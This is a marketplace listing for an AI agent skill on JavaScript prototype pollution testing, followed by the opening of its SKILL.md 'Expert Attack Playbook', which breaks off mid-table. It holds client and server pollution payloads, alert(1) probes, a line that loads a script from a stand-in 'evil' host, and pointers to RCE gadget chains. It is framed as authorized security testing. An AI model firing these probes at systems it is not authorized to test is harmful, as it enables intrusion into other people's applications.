
Prototype Pollution
Test JavaScript apps for prototype pollution when user input merges into objects, libraries accept untrusted keys, or you hunt RCE gadgets after polluting Object.prototype.
Overview
prototype-pollution is an agent skill for the Ship phase that walks you through JavaScript prototype pollution testing from first probes through merge-sink detection and gadget hunting.
Install
npx skills add https://github.com/yaklang/hack-skills --skill prototype-pollutionWhat is this skill?
- Client probes: __proto__ and constructor.prototype pollution query patterns
- Server JSON/form payloads for __proto__ and constructor.prototype branches
- Merge-sink focus: deep assign, JSON.parse + Object.assign, URL query nested objects
- Gadget orientation: EJS, Timelion-class patterns, child_process/NODE_OPTIONS sinks
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 2/3 security scanners passed (skills.sh audits).
What problem does it solve?
You merge or parse untrusted input into objects but do not know if a library or custom deep-assign path lets attackers pollute prototypes and reach dangerous sinks.
Who is it for?
Indie devs auditing Node/Express APIs, SPA backends, or browser apps that deserialize query strings and JSON into nested objects.
Skip if: Non-JavaScript stacks, static sites with no object merge paths, or builders who only need dependency CVE scanning without manual exploitation paths.
When should I use this skill?
User input is merged into objects, JSON or query parsers build nested structures, libraries are configured with untrusted keys, or you hunt RCE after polluting Object.prototype in Node or the browser.
What do I get? / Deliverables
You have reproducible client and server probes, identified merge sinks, and a prioritized list of pollution vectors to confirm or rule out before release.
- Documented probe set and observed parser behavior
- List of candidate merge sinks and gadget follow-ups
Recommended Skills
Journey fit
Prototype pollution is offensive security validation before or after release, which maps to Ship → security rather than greenfield Build. Playbook covers merge sinks, Express/qs probes, and gadget chains—classic appsec testing work.
How it compares
Complements dependency scanners with hands-on parser and gadget testing, not generic OWASP checklist chat.
Common Questions / FAQ
Who is prototype-pollution for?
Solo builders and small teams doing appsec on JavaScript/Node products where user-controlled keys flow through merges, parsers, or configuration objects.
When should I use prototype-pollution?
Use it in Ship → security when reviewing APIs that deep-merge JSON, URL queries converted to nested objects, or libraries configured via untrusted keys—also during Operate if you suspect an in-production pollution gadget.
Is prototype-pollution safe to install?
It teaches offensive testing techniques; only run against systems you own or are authorized to test, and review the Security Audits panel on this page before install.
SKILL.md
READMESKILL.md - Prototype Pollution
# SKILL: Prototype Pollution — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert prototype pollution for client and server JS. Covers `__proto__` vs `constructor.prototype`, merge-sink detection, Express/qs-style black-box probes, and gadget chains (EJS, Timelion-class patterns, child_process/NODE_OPTIONS). Assumes you know object spread and prototype inheritance — focus is on **parser behavior** and **post-pollution sinks**. Routing note: prioritize PP when you see deep merges, recursive assign, `JSON.parse` followed by `Object.assign`, or URL queries converted to nested objects. ## 0. QUICK START ### Client-side first probes ```text #__proto__[polluted]=1 #__proto__[polluted]=polluted #constructor[prototype][polluted]=1 ``` When input can reflect into DOM or framework routing, pair with `alert(1)` / `console` checks to observe whether global object properties were polluted. ```text #__proto__[xxx]=alert(1) ``` ### Server-side first probes(JSON / form) ```json {"__proto__":{"polluted":true}} ``` ```json {"constructor":{"prototype":{"polluted":true}}} ``` After sending, check whether unrelated follow-up responses show abnormal headers/status/JSON spacing, or whether app logic reads `Object.prototype.polluted` (see §3 detection table). ### Quick boolean If target code uses `lodash.merge`, `deep-extend`, `hoek.applyToDefaults`, or some `qs`/`query-string` configurations, **raise priority**. --- ## 1. MECHANISM **Prototype chain**: when accessing `obj.key`, if `obj` lacks own property `key`, lookup walks up `[[Prototype]]` until `Object.prototype`. **`__proto__`**: many parsers treat literal key `__proto__` as a magic path that attaches child properties to the prototype. Merging `{ "__proto__": { "x": 1 } }` can be equivalent to `Object.prototype.x = 1` depending on implementation and patch level. **`constructor.prototype`**: `constructor` typically points to the object's constructor function; `constructor.prototype` is that constructor's prototype object. For plain objects this usually links to `Object.prototype`. Example path: ```json {"constructor":{"prototype":{"polluted":1}}} ``` This is not always equivalent to `__proto__` (filtering, JSON parsing, Bun/Node differences), so **test both paths**. **Core issue**: this is not just "one extra parameter"; in non-isolated merge logic, attacker-controlled keys point to **prototype objects**, giving **global** or shared template context malicious properties that later code reads normally, triggering gadgets. --- ## 2. CLIENT-SIDE DETECTION ### URL fragment ```text https://app.example/page#__proto__[admin]=1 ``` ```text https://app.example/#__proto__[xxx]=alert(1) ``` If router or analytics code parses fragments into objects and then merges, pollution may occur. ### `constructor.prototype` path ```text #constructor[prototype][role]=admin ``` ### DOM / attribute injection ideas If the framework merges attribute names as object keys: ```text __proto__[src]=//evil/xss.js ``` Event-handler style keys (implementation-dependent): ```text __proto__[onerror]=alert(1) ``` **Verification**: open a fresh page without fragment and check in console whether test keys remain on `Object.prototype`; account for extension and DevTools interference. --- ## 3. SERVER-SIDE DETECTION (Express / Node, black-box) The payloads below assume body/query is deeply parsed into objects by **qs** or similar parsers (possibly with `body-parser`). Observe **global side effects**, not only current endpoint return values. | Payload (JSON example) | Expected observable signal | |----------------------|----------------| | `{"__proto__":{"parameterLimit":1}}